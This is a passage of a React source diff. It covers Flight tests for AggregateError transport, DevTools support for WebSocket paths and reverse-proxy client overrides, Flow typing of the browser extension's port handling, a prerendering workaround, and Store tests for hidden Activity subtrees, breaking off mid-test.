expect(ReactNoop).toMatchRenderedOutput(`
|
||||
is error: AggregateError
|
||||
name: AggregateError
|
||||
message: aggregate
|
||||
stack: AggregateError: aggregate
|
||||
in ServerComponent (at **)
|
||||
environmentName: Server
|
||||
cause: no cause
|
||||
errors: [
|
||||
is error: Error
|
||||
name: TypeError
|
||||
message: first error
|
||||
stack: TypeError: first error
|
||||
in ServerComponent (at **)
|
||||
environmentName: Server
|
||||
cause: no cause,
|
||||
|
||||
is error: Error
|
||||
name: RangeError
|
||||
message: second error
|
||||
stack: RangeError: second error
|
||||
in ServerComponent (at **)
|
||||
environmentName: Server
|
||||
cause: no cause]`);
|
||||
} else {
|
||||
expect(ReactNoop).toMatchRenderedOutput(`
|
||||
is error: Error
|
||||
name: Error
|
||||
message: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.
|
||||
stack: Error: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.
|
||||
environmentName: undefined
|
||||
cause: no cause`);
|
||||
}
|
||||
});
|
||||
|
||||
it('includes AggregateError.errors in thrown errors', async () => {
|
||||
function renderError(error) {
|
||||
if (!(error instanceof Error)) {
|
||||
return `${JSON.stringify(error)}`;
|
||||
}
|
||||
let result = `
|
||||
is error: ${error instanceof AggregateError ? 'AggregateError' : 'Error'}
|
||||
name: ${error.name}
|
||||
message: ${error.message}
|
||||
stack: ${normalizeCodeLocInfo(error.stack).split('\n').slice(0, 2).join('\n')}
|
||||
environmentName: ${error.environmentName}
|
||||
cause: ${'cause' in error ? renderError(error.cause) : 'no cause'}`;
|
||||
if ('errors' in error) {
|
||||
result += `
|
||||
errors: [${error.errors.map(e => renderError(e)).join(',\n')}]`;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
function ServerComponent() {
|
||||
const error1 = new TypeError('first error');
|
||||
const error2 = new RangeError('second error');
|
||||
const error3 = new Error('third error');
|
||||
const error4 = new Error('fourth error');
|
||||
const error5 = new Error('fifth error');
|
||||
const error6 = new Error('sixth error');
|
||||
const error = new AggregateError(
|
||||
[error1, error2, error3, error4, error5, error6],
|
||||
'aggregate',
|
||||
);
|
||||
throw error;
|
||||
}
|
||||
|
||||
const transport = ReactNoopFlightServer.render(<ServerComponent />, {
|
||||
onError(x) {
|
||||
if (__DEV__) {
|
||||
return 'a dev digest';
|
||||
}
|
||||
return `digest("${x.message}")`;
|
||||
},
|
||||
});
|
||||
|
||||
let error;
|
||||
try {
|
||||
await act(() => {
|
||||
ReactNoop.render(ReactNoopFlightClient.read(transport));
|
||||
});
|
||||
} catch (x) {
|
||||
error = x;
|
||||
}
|
||||
|
||||
if (__DEV__) {
|
||||
expect(renderError(error)).toEqual(`
|
||||
is error: AggregateError
|
||||
name: AggregateError
|
||||
message: aggregate
|
||||
stack: AggregateError: aggregate
|
||||
in ServerComponent (at **)
|
||||
environmentName: Server
|
||||
cause: no cause
|
||||
errors: [
|
||||
is error: Error
|
||||
name: TypeError
|
||||
message: first error
|
||||
stack: TypeError: first error
|
||||
in ServerComponent (at **)
|
||||
environmentName: Server
|
||||
cause: no cause,
|
||||
|
||||
is error: Error
|
||||
name: RangeError
|
||||
message: second error
|
||||
stack: RangeError: second error
|
||||
in ServerComponent (at **)
|
||||
environmentName: Server
|
||||
cause: no cause,
|
||||
|
||||
is error: Error
|
||||
name: Error
|
||||
message: third error
|
||||
stack: Error: third error
|
||||
in ServerComponent (at **)
|
||||
environmentName: Server
|
||||
cause: no cause,
|
||||
|
||||
is error: Error
|
||||
name: Error
|
||||
message: fourth error
|
||||
stack: Error: fourth error
|
||||
in ServerComponent (at **)
|
||||
environmentName: Server
|
||||
cause: no cause,
|
||||
|
||||
is error: Error
|
||||
name: Error
|
||||
message: fifth error
|
||||
stack: Error: fifth error
|
||||
in ServerComponent (at **)
|
||||
environmentName: Server
|
||||
cause: no cause,
|
||||
|
||||
is error: Error
|
||||
name: Error
|
||||
message: sixth error
|
||||
stack: Error: sixth error
|
||||
in ServerComponent (at **)
|
||||
environmentName: Server
|
||||
cause: no cause]`);
|
||||
} else {
|
||||
expect(renderError(error)).toEqual(`
|
||||
is error: Error
|
||||
name: Error
|
||||
message: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.
|
||||
stack: Error: An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.
|
||||
environmentName: undefined
|
||||
cause: no cause`);
|
||||
}
|
||||
});
|
||||
|
||||
it('can transport cyclic objects', async () => {
|
||||
function ComponentClient({prop}) {
|
||||
expect(prop.obj.obj.obj).toBe(prop.obj.obj);
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
/**
|
||||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @flow
|
||||
*/
|
||||
|
||||
// This is a host config that's used for the internal `react-noop-renderer` package.
|
||||
//
|
||||
// Its API lets you pass the host config as an argument.
|
||||
// However, inside the `react-server` we treat host config as a module.
|
||||
// This file is a shim between two worlds.
|
||||
//
|
||||
// It works because the `react-server` bundle is wrapped in something like:
|
||||
//
|
||||
// module.exports = function ($$$config) {
|
||||
// /* renderer code */
|
||||
// }
|
||||
//
|
||||
// So `$$$config` looks like a global variable, but it's
|
||||
// really an argument to a top-level wrapping function.
|
||||
|
||||
declare const $$$config: $FlowFixMe;
|
||||
|
||||
export opaque type ModuleLoading = mixed;
|
||||
export opaque type ServerConsumerModuleMap = mixed;
|
||||
export opaque type ServerManifest = mixed;
|
||||
export opaque type ServerReferenceId = string;
|
||||
export opaque type ClientReferenceMetadata = mixed;
|
||||
export opaque type ClientReference<T> = mixed; // eslint-disable-line no-unused-vars
|
||||
export const resolveClientReference = $$$config.resolveClientReference;
|
||||
export const resolveServerReference = $$$config.resolveServerReference;
|
||||
export const preloadModule = $$$config.preloadModule;
|
||||
export const requireModule = $$$config.requireModule;
|
||||
export const getModuleDebugInfo = $$$config.getModuleDebugInfo;
|
||||
export const dispatchHint = $$$config.dispatchHint;
|
||||
export const prepareDestinationForModule =
|
||||
$$$config.prepareDestinationForModule;
|
||||
export const usedWithSSR = true;
|
||||
|
||||
export opaque type Source = mixed;
|
||||
|
||||
export opaque type StringDecoder = mixed;
|
||||
|
||||
export const createStringDecoder = $$$config.createStringDecoder;
|
||||
export const readPartialStringChunk = $$$config.readPartialStringChunk;
|
||||
export const readFinalStringChunk = $$$config.readFinalStringChunk;
|
||||
|
||||
export const bindToConsole = $$$config.bindToConsole;
|
||||
|
||||
export const rendererVersion = $$$config.rendererVersion;
|
||||
export const rendererPackageName = $$$config.rendererPackageName;
|
||||
|
||||
export const checkEvalAvailabilityOnceDev =
|
||||
$$$config.checkEvalAvailabilityOnceDev;
|
||||
@@ -54,6 +54,7 @@ Each filter object must include `type` and `isEnabled`. Some filters also requir
|
||||
|------------------------|---------------|---------------------------------------------------------------------------------------------------------------------------|
|
||||
| `host` | `"localhost"` | Socket connection to frontend should use this host. |
|
||||
| `isAppActive` | | (Optional) function that returns true/false, telling DevTools when it's ready to connect to React. |
|
||||
| `path` | `""` | Path appended to the WebSocket URI (e.g. `"/__react_devtools__/"`). Useful when proxying through a reverse proxy on a subpath. A leading `/` is added automatically if missing. |
|
||||
| `port` | `8097` | Socket connection to frontend should use this port. |
|
||||
| `resolveRNStyle` | | (Optional) function that accepts a key (number) and returns a style (object); used by React Native. |
|
||||
| `retryConnectionDelay` | `200` | Delay (ms) to wait between retrying a failed Websocket connection |
|
||||
@@ -141,16 +142,51 @@ function onStatus(
|
||||
}
|
||||
```
|
||||
|
||||
#### `startServer(port?: number, host?: string, httpsOptions?: Object, loggerOptions?: Object)`
|
||||
#### `startServer(port?, host?, httpsOptions?, loggerOptions?, path?, clientOptions?)`
|
||||
Start a socket server (used to communicate between backend and frontend) and renders the DevTools UI.
|
||||
|
||||
This method accepts the following parameters:
|
||||
| Name | Default | Description |
|
||||
|---|---|---|
|
||||
| `port` | `8097` | Socket connection to backend should use this port. |
|
||||
| `host` | `"localhost"` | Socket connection to backend should use this host. |
|
||||
| `port` | `8097` | Port the local server listens on. |
|
||||
| `host` | `"localhost"` | Host the local server binds to. |
|
||||
| `httpsOptions` | | _Optional_ object defining `key` and `cert` strings. |
|
||||
| `loggerOptions` | | _Optional_ object defining a `surface` string (to be included with DevTools logging events). |
|
||||
| `path` | | _Optional_ path to append to the WebSocket URI served to connecting clients (e.g. `"/__react_devtools__/"`). Also set via the `REACT_DEVTOOLS_PATH` env var in the Electron app. |
|
||||
| `clientOptions` | | _Optional_ object with client-facing overrides (see below). |
|
||||
|
||||
##### `clientOptions`
|
||||
|
||||
When connecting through a reverse proxy, the client may need to connect to a different host, port, or protocol than the local server. Use `clientOptions` to override what appears in the `connectToDevTools()` script served to clients. Any field not set falls back to the corresponding server value.
|
||||
|
||||
| Field | Default | Description |
|
||||
|---|---|---|
|
||||
| `host` | server `host` | Host the client connects to. |
|
||||
| `port` | server `port` | Port the client connects to. |
|
||||
| `useHttps` | server `useHttps` | Whether the client should use `wss://`. |
|
||||
|
||||
These can also be set via environment variables in the Electron app:
|
||||
|
||||
| Env Var | Description |
|
||||
|---|---|
|
||||
| `REACT_DEVTOOLS_CLIENT_HOST` | Overrides the host in the served client script. |
|
||||
| `REACT_DEVTOOLS_CLIENT_PORT` | Overrides the port in the served client script. |
|
||||
| `REACT_DEVTOOLS_CLIENT_USE_HTTPS` | Set to `"true"` to make the served client script use `wss://`. |
|
||||
|
||||
##### Reverse proxy example
|
||||
|
||||
Run DevTools locally on the default port, but tell clients to connect through a remote proxy:
|
||||
```sh
|
||||
REACT_DEVTOOLS_CLIENT_HOST=remote.example.com \
|
||||
REACT_DEVTOOLS_CLIENT_PORT=443 \
|
||||
REACT_DEVTOOLS_CLIENT_USE_HTTPS=true \
|
||||
REACT_DEVTOOLS_PATH=/__react_devtools__/ \
|
||||
react-devtools
|
||||
```
|
||||
The server listens on `localhost:8097`. The served script tells clients:
|
||||
```js
|
||||
connectToDevTools({host: 'remote.example.com', port: 443, useHttps: true, path: '/__react_devtools__/'})
|
||||
```
|
||||
|
||||
# Development
|
||||
|
||||
|
||||
5
packages/react-devtools-core/src/backend.js
vendored
5
packages/react-devtools-core/src/backend.js
vendored
@@ -33,6 +33,7 @@ import type {ResolveNativeStyle} from 'react-devtools-shared/src/backend/NativeS
|
||||
type ConnectOptions = {
|
||||
host?: string,
|
||||
nativeStyleEditorValidAttributes?: $ReadOnlyArray<string>,
|
||||
path?: string,
|
||||
port?: number,
|
||||
useHttps?: boolean,
|
||||
resolveRNStyle?: ResolveNativeStyle,
|
||||
@@ -93,6 +94,7 @@ export function connectToDevTools(options: ?ConnectOptions) {
|
||||
const {
|
||||
host = 'localhost',
|
||||
nativeStyleEditorValidAttributes,
|
||||
path = '',
|
||||
useHttps = false,
|
||||
port = 8097,
|
||||
websocket,
|
||||
@@ -107,6 +109,7 @@ export function connectToDevTools(options: ?ConnectOptions) {
|
||||
} = options || {};
|
||||
|
||||
const protocol = useHttps ? 'wss' : 'ws';
|
||||
const prefixedPath = path !== '' && !path.startsWith('/') ? '/' + path : path;
|
||||
let retryTimeoutID: TimeoutID | null = null;
|
||||
|
||||
function scheduleRetry() {
|
||||
@@ -129,7 +132,7 @@ export function connectToDevTools(options: ?ConnectOptions) {
|
||||
let bridge: BackendBridge | null = null;
|
||||
|
||||
const messageListeners = [];
|
||||
const uri = protocol + '://' + host + ':' + port;
|
||||
const uri = protocol + '://' + host + ':' + port + prefixedPath;
|
||||
|
||||
// If existing websocket is passed, use it.
|
||||
// This is necessary to support our custom integrations.
|
||||
|
||||
47
packages/react-devtools-core/src/standalone.js
vendored
47
packages/react-devtools-core/src/standalone.js
vendored
@@ -306,11 +306,19 @@ type LoggerOptions = {
|
||||
surface?: ?string,
|
||||
};
|
||||
|
||||
type ClientOptions = {
|
||||
host?: string,
|
||||
port?: number,
|
||||
useHttps?: boolean,
|
||||
};
|
||||
|
||||
function startServer(
|
||||
port: number = 8097,
|
||||
host: string = 'localhost',
|
||||
httpsOptions?: ServerOptions,
|
||||
loggerOptions?: LoggerOptions,
|
||||
path?: string,
|
||||
clientOptions?: ClientOptions,
|
||||
): {close(): void} {
|
||||
registerDevToolsEventLogger(loggerOptions?.surface ?? 'standalone');
|
||||
|
||||
@@ -345,7 +353,18 @@ function startServer(
|
||||
server.on('error', (event: $FlowFixMe) => {
|
||||
onError(event);
|
||||
log.error('Failed to start the DevTools server', event);
|
||||
startServerTimeoutID = setTimeout(() => startServer(port), 1000);
|
||||
startServerTimeoutID = setTimeout(
|
||||
() =>
|
||||
startServer(
|
||||
port,
|
||||
host,
|
||||
httpsOptions,
|
||||
loggerOptions,
|
||||
path,
|
||||
clientOptions,
|
||||
),
|
||||
1000,
|
||||
);
|
||||
});
|
||||
|
||||
httpServer.on('request', (request: $FlowFixMe, response: $FlowFixMe) => {
|
||||
@@ -358,14 +377,21 @@ function startServer(
|
||||
// This will ensure that saved filters are shared across different web pages.
|
||||
const componentFiltersString = JSON.stringify(getSavedComponentFilters());
|
||||
|
||||
// Client overrides: when connecting through a reverse proxy, the client
|
||||
// may need to connect to a different host/port/protocol than the server.
|
||||
const clientHost = clientOptions?.host ?? host;
|
||||
const clientPort = clientOptions?.port ?? port;
|
||||
const clientUseHttps = clientOptions?.useHttps ?? useHttps;
|
||||
|
||||
response.end(
|
||||
backendFile.toString() +
|
||||
'\n;' +
|
||||
`var ReactDevToolsBackend = typeof ReactDevToolsBackend !== "undefined" ? ReactDevToolsBackend : require("ReactDevToolsBackend");\n` +
|
||||
`ReactDevToolsBackend.initialize(undefined, undefined, undefined, ${componentFiltersString});` +
|
||||
'\n' +
|
||||
`ReactDevToolsBackend.connectToDevTools({port: ${port}, host: '${host}', useHttps: ${
|
||||
useHttps ? 'true' : 'false'
|
||||
}});
|
||||
`ReactDevToolsBackend.connectToDevTools({port: ${clientPort}, host: '${clientHost}', useHttps: ${
|
||||
clientUseHttps ? 'true' : 'false'
|
||||
}${path != null ? `, path: '${path}'` : ''}});
|
||||
`,
|
||||
);
|
||||
});
|
||||
@@ -373,7 +399,18 @@ function startServer(
|
||||
httpServer.on('error', (event: $FlowFixMe) => {
|
||||
onError(event);
|
||||
statusListener('Failed to start the server.', 'error');
|
||||
startServerTimeoutID = setTimeout(() => startServer(port), 1000);
|
||||
startServerTimeoutID = setTimeout(
|
||||
() =>
|
||||
startServer(
|
||||
port,
|
||||
host,
|
||||
httpsOptions,
|
||||
loggerOptions,
|
||||
path,
|
||||
clientOptions,
|
||||
),
|
||||
1000,
|
||||
);
|
||||
});
|
||||
|
||||
httpServer.listen(port, () => {
|
||||
|
||||
@@ -44,6 +44,7 @@ module.exports = {
|
||||
// This name is important; standalone references it in order to connect.
|
||||
library: 'ReactDevToolsBackend',
|
||||
libraryTarget: 'umd',
|
||||
umdNamedDefine: true,
|
||||
},
|
||||
resolve: {
|
||||
alias: {
|
||||
|
||||
@@ -1,4 +1,12 @@
|
||||
/* global chrome */
|
||||
/**
|
||||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @flow
|
||||
*/
|
||||
/* global chrome, ExtensionRuntimePort */
|
||||
|
||||
'use strict';
|
||||
|
||||
@@ -12,20 +20,19 @@ import {
|
||||
handleFetchResourceContentScriptMessage,
|
||||
} from './messageHandlers';
|
||||
|
||||
/*
|
||||
{
|
||||
[tabId]: {
|
||||
extension: ExtensionPort,
|
||||
proxy: ProxyPort,
|
||||
disconnectPipe: Function,
|
||||
},
|
||||
...
|
||||
}
|
||||
*/
|
||||
const ports = {};
|
||||
const ports: {
|
||||
// TODO: Check why we convert tab IDs to strings, and if we can avoid it
|
||||
[tabId: string]: {
|
||||
extension: ExtensionRuntimePort | null,
|
||||
proxy: ExtensionRuntimePort | null,
|
||||
disconnectPipe: Function | null,
|
||||
},
|
||||
} = {};
|
||||
|
||||
function registerTab(tabId) {
|
||||
function registerTab(tabId: number) {
|
||||
// $FlowFixMe[incompatible-type]
|
||||
if (!ports[tabId]) {
|
||||
// $FlowFixMe[incompatible-type]
|
||||
ports[tabId] = {
|
||||
extension: null,
|
||||
proxy: null,
|
||||
@@ -34,18 +41,21 @@ function registerTab(tabId) {
|
||||
}
|
||||
}
|
||||
|
||||
function registerExtensionPort(port, tabId) {
|
||||
function registerExtensionPort(port: ExtensionRuntimePort, tabId: number) {
|
||||
// $FlowFixMe[incompatible-type]
|
||||
ports[tabId].extension = port;
|
||||
|
||||
port.onDisconnect.addListener(() => {
|
||||
// This should delete disconnectPipe from ports dictionary
|
||||
// $FlowFixMe[incompatible-type]
|
||||
ports[tabId].disconnectPipe?.();
|
||||
|
||||
delete ports[tabId].extension;
|
||||
// $FlowFixMe[incompatible-type]
|
||||
ports[tabId].extension = null;
|
||||
});
|
||||
}
|
||||
|
||||
function registerProxyPort(port, tabId) {
|
||||
function registerProxyPort(port: ExtensionRuntimePort, tabId: string) {
|
||||
ports[tabId].proxy = port;
|
||||
|
||||
// In case proxy port was disconnected from the other end, from content script
|
||||
@@ -54,7 +64,7 @@ function registerProxyPort(port, tabId) {
|
||||
port.onDisconnect.addListener(() => {
|
||||
ports[tabId].disconnectPipe?.();
|
||||
|
||||
delete ports[tabId].proxy;
|
||||
ports[tabId].proxy = null;
|
||||
});
|
||||
}
|
||||
|
||||
@@ -73,14 +83,22 @@ chrome.runtime.onConnect.addListener(port => {
|
||||
// Proxy content script is executed in tab, so it should have it specified.
|
||||
const tabId = port.sender.tab.id;
|
||||
|
||||
if (ports[tabId]?.proxy) {
|
||||
ports[tabId].disconnectPipe?.();
|
||||
ports[tabId].proxy.disconnect();
|
||||
// $FlowFixMe[incompatible-type]
|
||||
const registeredPort = ports[tabId];
|
||||
const proxy = registeredPort?.proxy;
|
||||
if (proxy) {
|
||||
registeredPort.disconnectPipe?.();
|
||||
proxy.disconnect();
|
||||
}
|
||||
|
||||
registerTab(tabId);
|
||||
registerProxyPort(port, tabId);
|
||||
registerProxyPort(
|
||||
port,
|
||||
// $FlowFixMe[incompatible-call]
|
||||
tabId,
|
||||
);
|
||||
|
||||
// $FlowFixMe[incompatible-type]
|
||||
if (ports[tabId].extension) {
|
||||
connectExtensionAndProxyPorts(
|
||||
ports[tabId].extension,
|
||||
@@ -97,8 +115,13 @@ chrome.runtime.onConnect.addListener(port => {
|
||||
const tabId = +port.name;
|
||||
|
||||
registerTab(tabId);
|
||||
registerExtensionPort(port, tabId);
|
||||
registerExtensionPort(
|
||||
port,
|
||||
// $FlowFixMe[incompatible-call]
|
||||
tabId,
|
||||
);
|
||||
|
||||
// $FlowFixMe[incompatible-type]
|
||||
if (ports[tabId].proxy) {
|
||||
connectExtensionAndProxyPorts(
|
||||
ports[tabId].extension,
|
||||
@@ -114,26 +137,33 @@ chrome.runtime.onConnect.addListener(port => {
|
||||
console.warn(`Unknown port ${port.name} connected`);
|
||||
});
|
||||
|
||||
function connectExtensionAndProxyPorts(extensionPort, proxyPort, tabId) {
|
||||
if (!extensionPort) {
|
||||
function connectExtensionAndProxyPorts(
|
||||
maybeExtensionPort: ExtensionRuntimePort | null,
|
||||
maybeProxyPort: ExtensionRuntimePort | null,
|
||||
tabId: number,
|
||||
) {
|
||||
if (!maybeExtensionPort) {
|
||||
throw new Error(
|
||||
`Attempted to connect ports, when extension port is not present`,
|
||||
);
|
||||
}
|
||||
const extensionPort = maybeExtensionPort;
|
||||
|
||||
if (!proxyPort) {
|
||||
if (!maybeProxyPort) {
|
||||
throw new Error(
|
||||
`Attempted to connect ports, when proxy port is not present`,
|
||||
);
|
||||
}
|
||||
const proxyPort = maybeProxyPort;
|
||||
|
||||
// $FlowFixMe[incompatible-type]
|
||||
if (ports[tabId].disconnectPipe) {
|
||||
throw new Error(
|
||||
`Attempted to connect already connected ports for tab with id ${tabId}`,
|
||||
);
|
||||
}
|
||||
|
||||
function extensionPortMessageListener(message) {
|
||||
function extensionPortMessageListener(message: any) {
|
||||
try {
|
||||
proxyPort.postMessage(message);
|
||||
} catch (e) {
|
||||
@@ -145,7 +175,7 @@ function connectExtensionAndProxyPorts(extensionPort, proxyPort, tabId) {
|
||||
}
|
||||
}
|
||||
|
||||
function proxyPortMessageListener(message) {
|
||||
function proxyPortMessageListener(message: any) {
|
||||
try {
|
||||
extensionPort.postMessage(message);
|
||||
} catch (e) {
|
||||
@@ -164,6 +194,7 @@ function connectExtensionAndProxyPorts(extensionPort, proxyPort, tabId) {
|
||||
// We handle disconnect() calls manually, based on each specific case
|
||||
// No need to disconnect other port here
|
||||
|
||||
// $FlowFixMe[incompatible-type]
|
||||
delete ports[tabId].disconnectPipe;
|
||||
}
|
||||
|
||||
|
||||
@@ -1,8 +1,20 @@
|
||||
/**
|
||||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @flow
|
||||
*/
|
||||
/* global chrome */
|
||||
|
||||
'use strict';
|
||||
import type {ReactBuildType} from 'react-devtools-shared/src/backend/types';
|
||||
|
||||
function setExtensionIconAndPopup(reactBuildType, tabId) {
|
||||
function setExtensionIconAndPopup(
|
||||
reactBuildType: ReactBuildType,
|
||||
tabId: number,
|
||||
) {
|
||||
chrome.action.setIcon({
|
||||
tabId,
|
||||
path: {
|
||||
|
||||
@@ -10,6 +10,7 @@ import {
|
||||
getProfilingSettings,
|
||||
} from 'react-devtools-shared/src/utils';
|
||||
import {postMessage} from './messages';
|
||||
import {createReactRendererListener} from './reactBuildType';
|
||||
|
||||
let resolveHookSettingsInjection: (settings: DevToolsHookSettings) => void;
|
||||
let resolveComponentFiltersInjection: (filters: Array<ComponentFilter>) => void;
|
||||
@@ -67,17 +68,6 @@ if (!window.hasOwnProperty('__REACT_DEVTOOLS_GLOBAL_HOOK__')) {
|
||||
// Detect React
|
||||
window.__REACT_DEVTOOLS_GLOBAL_HOOK__.on(
|
||||
'renderer',
|
||||
function ({reactBuildType}) {
|
||||
window.postMessage(
|
||||
{
|
||||
source: 'react-devtools-hook',
|
||||
payload: {
|
||||
type: 'react-renderer-attached',
|
||||
reactBuildType,
|
||||
},
|
||||
},
|
||||
'*',
|
||||
);
|
||||
},
|
||||
createReactRendererListener(window),
|
||||
);
|
||||
}
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
|
||||
'use strict';
|
||||
|
||||
function injectProxy({target}: {target: any}) {
|
||||
function injectProxy() {
|
||||
// Firefox's behaviour for injecting this content script can be unpredictable
|
||||
// While navigating the history, some content scripts might not be re-injected and still be alive
|
||||
if (!window.__REACT_DEVTOOLS_PROXY_INJECTED__) {
|
||||
@@ -32,9 +32,23 @@ function injectProxy({target}: {target: any}) {
|
||||
}
|
||||
}
|
||||
|
||||
function handlePageShow() {
|
||||
if (document.prerendering) {
|
||||
// React DevTools can't handle multiple documents being connected to the same extension port.
|
||||
// However, browsers are firing pageshow events while prerendering (https://issues.chromium.org/issues/489633225).
|
||||
// We need to wait until prerendering is finished before injecting the proxy.
|
||||
// In browsers with pagereveal support, listening to pagereveal would be sufficient.
|
||||
// Waiting for prerenderingchange is a workaround to support browsers that
|
||||
// have speculationrules but not pagereveal.
|
||||
document.addEventListener('prerenderingchange', injectProxy, {once: true});
|
||||
} else {
|
||||
injectProxy();
|
||||
}
|
||||
}
|
||||
|
||||
window.addEventListener('pagereveal', injectProxy);
|
||||
// For backwards compat with browsers not implementing `pagereveal` which is a fairly new event.
|
||||
window.addEventListener('pageshow', injectProxy);
|
||||
window.addEventListener('pageshow', handlePageShow);
|
||||
|
||||
window.addEventListener('pagehide', function ({target}) {
|
||||
if (target !== window.document) {
|
||||
|
||||
50
packages/react-devtools-extensions/src/contentScripts/reactBuildType.js
vendored
Normal file
50
packages/react-devtools-extensions/src/contentScripts/reactBuildType.js
vendored
Normal file
@@ -0,0 +1,50 @@
|
||||
/**
|
||||
* Copyright (c) Meta Platforms, Inc. and affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @flow
|
||||
*/
|
||||
import type {ReactBuildType} from 'react-devtools-shared/src/backend/types';
|
||||
|
||||
function reduceReactBuild(
|
||||
currentReactBuildType: null | ReactBuildType,
|
||||
nextReactBuildType: ReactBuildType,
|
||||
): ReactBuildType {
|
||||
if (
|
||||
currentReactBuildType === null ||
|
||||
currentReactBuildType === 'production'
|
||||
) {
|
||||
return nextReactBuildType;
|
||||
}
|
||||
|
||||
// We only display the "worst" build type, so if we've already detected a non-production build,
|
||||
// we ignore any future production builds. This way if a page has multiple renderers,
|
||||
// and at least one of them is a non-production build, we'll display that instead of "production".
|
||||
return nextReactBuildType === 'production'
|
||||
? currentReactBuildType
|
||||
: nextReactBuildType;
|
||||
}
|
||||
|
||||
export function createReactRendererListener(target: {
|
||||
postMessage: Function,
|
||||
...
|
||||
}): ({reactBuildType: ReactBuildType}) => void {
|
||||
let displayedReactBuild: null | ReactBuildType = null;
|
||||
|
||||
return function ({reactBuildType}) {
|
||||
displayedReactBuild = reduceReactBuild(displayedReactBuild, reactBuildType);
|
||||
|
||||
target.postMessage(
|
||||
{
|
||||
source: 'react-devtools-hook',
|
||||
payload: {
|
||||
type: 'react-renderer-attached',
|
||||
reactBuildType: displayedReactBuild,
|
||||
},
|
||||
},
|
||||
'*',
|
||||
);
|
||||
};
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
/* global chrome */
|
||||
/* global chrome, ExtensionRuntimePort */
|
||||
/** @flow */
|
||||
|
||||
import type {RootType} from 'react-dom/src/client/ReactDOMRoot';
|
||||
@@ -61,7 +61,7 @@ function createBridge() {
|
||||
listen(fn) {
|
||||
const bridgeListener = (message: Message) => fn(message);
|
||||
// Store the reference so that we unsubscribe from the same object.
|
||||
const portOnMessage = ((port: any): ExtensionPort).onMessage;
|
||||
const portOnMessage = port.onMessage;
|
||||
portOnMessage.addListener(bridgeListener);
|
||||
|
||||
lastSubscribedBridgeListener = bridgeListener;
|
||||
@@ -621,22 +621,7 @@ let root: RootType = (null: $FlowFixMe);
|
||||
|
||||
let currentSelectedSource: null | SourceSelection = null;
|
||||
|
||||
type ExtensionEvent = {
|
||||
addListener(callback: (message: Message, port: ExtensionPort) => void): void,
|
||||
removeListener(
|
||||
callback: (message: Message, port: ExtensionPort) => void,
|
||||
): void,
|
||||
};
|
||||
|
||||
/** https://developer.chrome.com/docs/extensions/reference/api/runtime#type-Port */
|
||||
type ExtensionPort = {
|
||||
onDisconnect: ExtensionEvent,
|
||||
onMessage: ExtensionEvent,
|
||||
postMessage(message: mixed, transferable?: Array<mixed>): void,
|
||||
disconnect(): void,
|
||||
};
|
||||
|
||||
let port: ExtensionPort = (null: $FlowFixMe);
|
||||
let port: ExtensionRuntimePort = (null: $FlowFixMe);
|
||||
|
||||
// In case when multiple navigation events emitted in a short period of time
|
||||
// This debounced callback primarily used to avoid mounting React DevTools multiple times, which results
|
||||
|
||||
@@ -297,6 +297,269 @@ describe('Store', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe('Activity hidden state', () => {
|
||||
// @reactVersion >= 19
|
||||
it('should mark Activity subtree elements as hidden when mode is hidden', async () => {
|
||||
const Activity = React.Activity || React.unstable_Activity;
|
||||
|
||||
function Child() {
|
||||
return <div>child</div>;
|
||||
}
|
||||
|
||||
function App({hidden}) {
|
||||
return (
|
||||
<Activity mode={hidden ? 'hidden' : 'visible'}>
|
||||
<Child />
|
||||
</Activity>
|
||||
);
|
||||
}
|
||||
|
||||
await actAsync(() => {
|
||||
render(<App hidden={true} />);
|
||||
});
|
||||
|
||||
// Activity element should be marked as hidden and collapsed
|
||||
const activityElement = store.getElementAtIndex(1);
|
||||
expect(activityElement.displayName).toBe('Activity');
|
||||
expect(activityElement.isActivityHidden).toBe(true);
|
||||
expect(activityElement.isInsideHiddenActivity).toBe(false);
|
||||
expect(activityElement.isCollapsed).toBe(true);
|
||||
|
||||
// Expand to access children
|
||||
store.toggleIsCollapsed(activityElement.id, false);
|
||||
|
||||
// Children should still be in the tree but marked as inside hidden Activity
|
||||
const childElement = store.getElementAtIndex(2);
|
||||
expect(childElement.displayName).toBe('Child');
|
||||
expect(childElement.isInsideHiddenActivity).toBe(true);
|
||||
});
|
||||
|
||||
// @reactVersion >= 19
|
||||
it('should not mark Activity subtree as hidden when mode is visible', async () => {
|
||||
const Activity = React.Activity || React.unstable_Activity;
|
||||
|
||||
function Child() {
|
||||
return <div>child</div>;
|
||||
}
|
||||
|
||||
function App() {
|
||||
return (
|
||||
<Activity mode="visible">
|
||||
<Child />
|
||||
</Activity>
|
||||
);
|
||||
}
|
||||
|
||||
await actAsync(() => {
|
||||
render(<App />);
|
||||
});
|
||||
|
||||
const activityElement = store.getElementAtIndex(1);
|
||||
expect(activityElement.displayName).toBe('Activity');
|
||||
expect(activityElement.isActivityHidden).toBe(false);
|
||||
expect(activityElement.isInsideHiddenActivity).toBe(false);
|
||||
expect(activityElement.isCollapsed).toBe(false);
|
||||
|
||||
const childElement = store.getElementAtIndex(2);
|
||||
expect(childElement.displayName).toBe('Child');
|
||||
expect(childElement.isInsideHiddenActivity).toBe(false);
|
||||
});
|
||||
|
||||
// @reactVersion >= 19
|
||||
